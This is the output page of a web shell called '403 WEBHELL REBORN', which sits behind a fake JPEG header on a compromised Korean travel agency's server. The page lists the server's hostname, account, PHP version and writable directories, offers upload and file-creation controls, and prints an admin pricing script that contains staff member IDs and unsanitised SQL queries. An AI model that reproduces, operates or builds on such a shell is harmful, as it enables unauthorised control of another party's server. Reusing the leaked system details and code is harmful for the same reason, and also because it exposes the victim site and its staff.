ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good/ajaxGoodDatePrice.html
<?php
    include "../include/top_proc.html";

    if(!$g_uid) exit;

    //
    $isPricePermission = false;

	//
    if ($TO_MB['mb_id'] == 'wkddjsgh' || $TO_MB['mb_id'] == 'dbtjs0680' || $TO_MB['mb_id'] == 'joyceyip915' || $TO_MB['mb_id'] == 'tktravel' || $TO_MB['mb_id'] == 'wluka' || $TO_MB['mb_id'] == 'developer3' || $TO_MB['mb_id'] == 'jerry' || $TO_MB['mb_id'] == 'yixuan222' || $TO_MB['mb_id'] == 'kbe369' || $TO_MB['mb_id'] == 'derder885' || $TO_MB['mb_id'] == 'ksmj0610' || $TO_MB['mb_id'] == 'jamiesy' || $TO_MB['mb_id'] == 'haleyltc' || $TO_MB['mb_id'] == 'miali' || $TO_MB['mb_id'] == 'wluka') {
        $isPricePermission = true;
    }

    // 상품정보
    $data_good = good_list(" and g_uid='{$g_uid}' ");
    $row_good = good_list_replace($data_good[0]);

    if($d_uid) {
        // 수정
        $data_date = date_list($g_uid,"none"," and d_uid='{$d_uid}' ");
        $row = $data_date[0];
    }else{
        // 최근 출발일 1개 가져옴.
        $data_date = date_list($g_uid,"",""," d_start desc ","1");
        $row = $data_date[0];
    }

    // 기타
    $require_num_comma = " maxlength=\"10\" style=\"ime-mode:inactive;ime-mode:disabled;text-align:right\" onblur=\"this.value=comma(this.value)\" onKeyDown=\"ChkNum(this,event);\" ";
    // 가격입력시에 콤마+숫자필수 style+스크립트
?>

<?php
    if($row_good['exchange_fg']=="Y"){
?>
<div style="font-size:14px;font-weight:bold;border-bottom:2px solid #0066FF;width:400px;margin-bottom:10px;">◆ 기준환율 : 1<?=$row_good['ext_nm']?>(<?=$row_good['ext_eng']?>) → <?=$row_good['ext_to_krw']?>원(KRW) <span style="font-size:12px;font-weight: normal;">[<?=$row_good['ext_unit']?>원단위 <?=$row_good['ext_round2']?>]</span></div>
<?php }?>






<?
## 데이투어
if($row_good['tab']=="D"){
	## 단체투어 (join tour)
	if($row_good['gdt']=="gr") {
?>
		<table border="0" width="550px" cellspacing="0" cellpadding="0" class="setting_write" id="price_set_item">
			<thead>
			<tr>
				<th width="70px" class="help_tooltip" title="체크항목만 홈페이지에 노출됩니다.">구분</th>
				<th>원가<span style="color:red;font-weight: 500;" 22>&nbsp;(*공급처 연동)</th>
				<th><span style="color:red;font-weight: 500;">&nbsp;B2B</th><!--BY 강일구 -->
				<th><span style="color:red;font-weight: 500;">&nbsp;B2C</th>
			</tr>
			</thead>
			<tbody>
			<tr>
				<td><input type="checkbox" name="d_disp_adult" value="Y" <?=($row['d_disp_adult']=="Y")?"checked":""?>> 성인</td>
				<td class="txt_l">
					<input name="d_buy1" type="text" size="16" value="<?=number_format($row['d_buy1'])?>" class="input_text" hname="성인가" required <?=$require_num_comma?> <?=(($isPricePermission) ? '' : 'disabled')?>/>
					<span class="equal" fill="d_buy">▽</span>
				</td>
				<td class="txt_l"> <!--BY 강일구 -->
					<input name="d_agent1" type="text" size="16" value="<?=number_format($row['d_agent1'])?>" class="input_text" hname="성인가" required <?=$require_num_comma?> />
					<span class="equal" fill="d_agent">▽</span>
				</td>
				<td class="txt_l">
					<input name="d_money1" type="text" size="16" value="<?=number_format($row['d_money1'])?>" class="input_text" hname="성인가" required <?=$require_num_comma?> />
					<span class="equal" fill="d_money">▽</span>
				</td>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_child" value="Y" <?=($row['d_disp_child']=="Y")?"checked":""?>> 소인</td>
				<td><input name="d_buy2" type="text" size="16" value="<?=number_format($row['d_buy2'])?>" class="input_text d_buy" <?=$require_num_comma?> /></td>
				<td><input name="d_agent2" type="text" size="16" value="<?=number_format($row['d_agent2'])?>" class="input_text d_agent" <?=$require_num_comma?> /></td><!--BY 강일구 -->
				<td><input name="d_money2" type="text" size="16" value="<?=number_format($row['d_money2'])?>" class="input_text d_money" <?=$require_num_comma?> /></td>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_baby" value="Y" <?=($row['d_disp_baby']=="Y")?"checked":""?>> 유아</td>
				<td><input name="d_buy3" type="text" size="16" value="<?=number_format($row['d_buy3'])?>" class="input_text d_buy"  <?=$require_num_comma?> /></td>
				<td><input name="d_agent3" type="text" size="16" value="<?=number_format($row['d_agent3'])?>" class="input_text d_agent"  <?=$require_num_comma?> /></td><!--BY 강일구 -->
				<td><input name="d_money3" type="text" size="16" value="<?=number_format($row['d_money3'])?>" class="input_text d_money"  <?=$require_num_comma?> /></td>
			</tr>
			<!--<tr> BY 강일구
				<td><input type="checkbox" name="d_disp_infant" value="Y" <?=($row['d_disp_infant']=="Y")?"checked":""?>> 영아</td>
				<td><input name="d_buy4" type="text" size="16" value="<?=number_format($row['d_buy4'])?>" class="input_text d_buy" <?=$require_num_comma?> /></td>
				<td><input name="d_agent4" type="text" size="16" value="<?=number_format($row['d_agent4'])?>" class="input_text d_agent" <?=$require_num_comma?> /></td>
				<td><input name="d_money7" type="text" size="16" value="<?=number_format($row['d_money7'])?>" class="input_text d_money" <?=$require_num_comma?> /></td>
			</tr>-->
			</tbody>
		</table>
		<script type="text/javascript">
		$(function(){
			$(".equal").css("cursor","pointer")
				.bind("click",function(){
					var price = $(this).siblings("input").val();
					var _m_fill = $(this).attr("fill");

					$("#price_set_item ."+_m_fill).val(price);
			});

		})
		</script>
<?
	}

	## 단독투어 (private tour)
	else{
?>
		<INPUT TYPE="hidden" NAME="d_disp_adult" value="Y">
		<table border="0" width="550px" cellspacing="0" cellpadding="0" class="setting_write" id="price_set_item">
			<thead>
			<tr>
				<th width="75px">구분</th>
				<th width="120px">원가<span style="color:red;font-weight: 500;">&nbsp;(*공급처 연동)</th>
				<th width="120px"><span style="color:red;font-weight: 500;">B2B</th>
				<th width="120px"><span style="color:red;font-weight: 500;">B2C</th>
			</tr>
			</thead>
			<tbody>
			<tr>
				<td style="text-align:center">1<span id="item_disp_pe_unit"> <?=($row['d_pe_people_unit']) ? $row['d_pe_people_unit']:"대"?></span></td>
				<td style="text-align:center">
					<input name="d_buy1" type="text" size="12" value="<?=number_format($row['d_buy1'])?>" class="input_text" hname="공급가" required <?=$require_num_comma?> />
					<input type="hidden" name="d_buy2" value="0">
					<input type="hidden" name="d_buy3" value="0">
					<input type="hidden" name="d_buy4" value="0">
				</td>
				<td style="text-align:center">
					<input name="d_agent1" type="text" size="12" value="<?=number_format($row['d_agent1'])?>" class="input_text" hname="거래처가" required <?=$require_num_comma?> />
					<input type="hidden" name="d_agent2" value="0">
					<input type="hidden" name="d_agent3" value="0">
					<input type="hidden" name="d_agent4" value="0">
				</td>
				<td style="text-align:center">
					<input name="d_money1" type="text" size="12" value="<?=number_format($row['d_money1'])?>" class="input_text" hname="판매가" required <?=$require_num_comma?> />
					<input type="hidden" name="d_money2" value="0">
					<input type="hidden" name="d_money3" value="0">
					<input type="hidden" name="d_money7" value="0">
				</td>
			</tr>
			</tbody>
		</table>
<?
	}
}

## 패키지 투어
else{?>
		<!--패키지 투어-->
		<table border="0" cellspacing="0" cellpadding="0" class="setting_write2" id="price_set_item">
		<colgroup>
			<col style=" width:88px">
			<!--<col style=" width:15%">-->
			<!--<col style=" width:15%">-->
			<col style=" width:151px">
			<col style=" width:151px">
			<col style=" width:151px">
			<?if($row_good['exchange_fg']=="Y"){?>
			<col style=" width:10px">
			<?}?>
			</colgroup>
<!--			<col class="red">-->
			<thead>
			<tr>
				<th class="help_tooltip" title="체크항목만 홈페이지에 노출됩니다.">구분</th>
				<th>원가<span style="color:red;font-weight: 500;" 111>&nbsp;(*공급처 연동)</th>
				<!--<th>기본상품가</th>-->
				<!--<th <?php if($row['tab']=="T"){?>style="display:none"<?php }?>>유류할증료</th>-->
				<th><span style="color:red;font-weight: 500;">B2B</th>
				<th><span style="color:red;font-weight: 500;">B2C</th>
				<?if($row_good['exchange_fg']=="Y"){?>
				<th class="help_tooltip" title="실제 판매는 원화(KRW)입니다.">총판매가(원.KRW)</th>
				<?}?>
			</tr>
			</thead>
			<tbody>
			<tr>
				<td><input type="checkbox" name="d_disp_adult" id="d_disp_adult" value="Y" <?=($row['d_disp_adult']=="Y")?"checked":""?>><label for="d_disp_adult"> 성인</label></td>
				<td class="txt_l">
					<input name="d_buy1" type="text" size="13" value="<?=number_format($row['d_buy1'])?>" class="input_text" hname="성인공급가" required <?=$require_num_comma?> <?=(($isPricePermission) ? '' : 'disabled')?> /><?=$row_good['ext_nm']?>
					<span class="equal" fill="d_buy">▼</span>
				</td>
				<td class="txt_l">
					<input name="d_agent1" type="text" size="13" value="<?=number_format($row['d_agent1'])?>" class="input_text" hname="성인거래처가" required <?=$require_num_comma?> <?=(($isPricePermission) ? '' : 'disabled')?> /><?=$row_good['ext_nm']?>
					<span class="equal" fill="d_agent">▼</span>
				</td>
				<!--<td class="txt_l">
					<input name="d_cost1" type="text" size="13" value="<?=number_format($row['d_cost1'])?>" class="input_text" hname="성인기본상품가" required <?=$require_num_comma?> /><?=$row_good['ext_nm']?>
					<span class="equal" fill='d_cost'>▼</span>
				</td>-->
				<!--<td class="txt_l" <?php if($row['tab']=="T"){?>style="display:none"<?php }?>>
					<input name="oil_money1" type="text" size="13" value="<?=number_format($row['oil_money1'])?>" class="input_text" <?=$require_num_comma?>/><?=$row_good['ext_nm']?> 
					<span class="equal" fill="oil_money">▼</span>
				</td>-->
				<td class="txt_l">
					<input name="d_money1" type="text" size="13" value="<?=number_format($row['d_money1'])?>" class="input_text" hname="성인가" required <?=$require_num_comma?> <?=(($isPricePermission) ? '' : 'disabled')?> /><?=$row_good['ext_nm']?>
					<span class="equal" fill="d_money">▼</span>
				</td>
				<?if($row_good['exchange_fg']=="Y"){?>
				<td style="align:right;">	<span><?=number_format($row['adult_price'])?></span>원</td>
				<?}?>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_child" id="d_disp_child" value="Y" <?=($row['d_disp_child']=="Y")?"checked":""?>><label for="d_disp_child"> 소인</label></td>
				<td class="txt_l"><input name="d_buy2" type="text" size="13" value="<?=number_format($row['d_buy2'])?>" class="input_text d_buy" <?=$require_num_comma?> <?=(($isPricePermission) ? '' : 'disabled')?> /><?=$row_good['ext_nm']?></td>
				<td class="txt_l"><input name="d_agent2" type="text" size="13" value="<?=number_format($row['d_agent2'])?>" class="input_text d_agent" <?=$require_num_comma?> <?=(($isPricePermission) ? '' : 'disabled')?> /><?=$row_good['ext_nm']?></td>
				<!--<td class="txt_l"><input name="d_cost2" type="text" size="13" value="<?=number_format($row['d_cost2'])?>" class="input_text d_cost"  <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>-->
				<!--<td class="txt_l" <?php if($row['tab']=="T"){?>style="display:none"<?php }?>><input name="oil_money2" type="text" size="13" value="<?=number_format($row['oil_money2'])?>" class="input_text oil_money" <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>-->
				<td class="txt_l"><input name="d_money2" type="text" size="13" value="<?=number_format($row['d_money2'])?>" class="input_text d_money" <?=$require_num_comma?> <?=(($isPricePermission) ? '' : 'disabled')?> /><?=$row_good['ext_nm']?></td>
				<?if($row_good['exchange_fg']=="Y"){?>
				<td style="align:right;">	<span><?=number_format($row['child_price'])?></span>원</td>
				<?}?>
			</tr>
			<tr>
				<td><input type="checkbox" name="d_disp_baby" id="d_disp_baby" value="Y" <?=($row['d_disp_baby']=="Y")?"checked":""?>><label for="d_disp_baby"> 유아</label></td>
				<td class="txt_l"><input name="d_buy3" type="text" size="13" value="<?=number_format($row['d_buy3'])?>" class="input_text d_buy"  <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<td class="txt_l"><input name="d_agent3" type="text" size="13" value="<?=number_format($row['d_agent3'])?>" class="input_text d_agent"  <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<!--<td class="txt_l"><input name="d_cost3" type="text" size="13" value="<?=number_format($row['d_cost3'])?>" class="input_text d_cost" <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>-->
				<!--<td class="txt_l" <?php if($row['tab']=="T"){?>style="display:none"<?php }?>><input name="oil_money3" type="text" size="13" value="<?=number_format($row['oil_money3'])?>" class="input_text oil_money"<?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>-->
				<td class="txt_l"><input name="d_money3" type="text" size="13" value="<?=number_format($row['d_money3'])?>" class="input_text d_money"  <?=$require_num_comma?> /><?=$row_good['ext_nm']?></td>
				<?if($row_good['exchange_fg']=="Y"){?>
				<td style="align:right;"><span><?=number_format($row['baby_price'])?></span>원</td>
				<?}?>
			</tr>

			</tbody>
		</table>
		<script type="text/javascript">
		$(function(){
			$(".equal").css("cursor","pointer")
				.bind("click",function(){
					var price = $(this).siblings("input").val();
					var _m_fill = $(this).attr("fill");

					$("#price_set_item ."+_m_fill).val(price);

					// 총판매가수정일 경우는 총판매가 계산 안함
					if(_m_fill != 'd_money' && _m_fill != 'd_buy' && _m_fill != 'd_agent') {
						cal_d_money();
					}
			});

			// 총판매가 계산
			$("#price_set_item > tbody input[type='text']").bind("blur",function(){

				if($(this).attr("name").indexOf('d_buy') == 0){
					return false;
				}

				if($(this).attr("name").indexOf('d_agent') == 0){
					return false;
				}

				if($(this).attr("name").indexOf('d_money')<0) {
					cal_d_money();

				// 총판매가 수정후 환율계산(2016-12-26.허종)
				} else if(exchange_fg=='Y') {
					var ex_money=0;
					var  d_money=0;

					d_money = $(this).val().replace(/,/g,'');
				
					ex_money = cal_exchange_money(d_money);

					$(this).parent().parent().find("td").last().find("span").html(number_format(ex_money.toString()));
				}
			});
		})
		</script>
<?}?>





Anon7 - 2021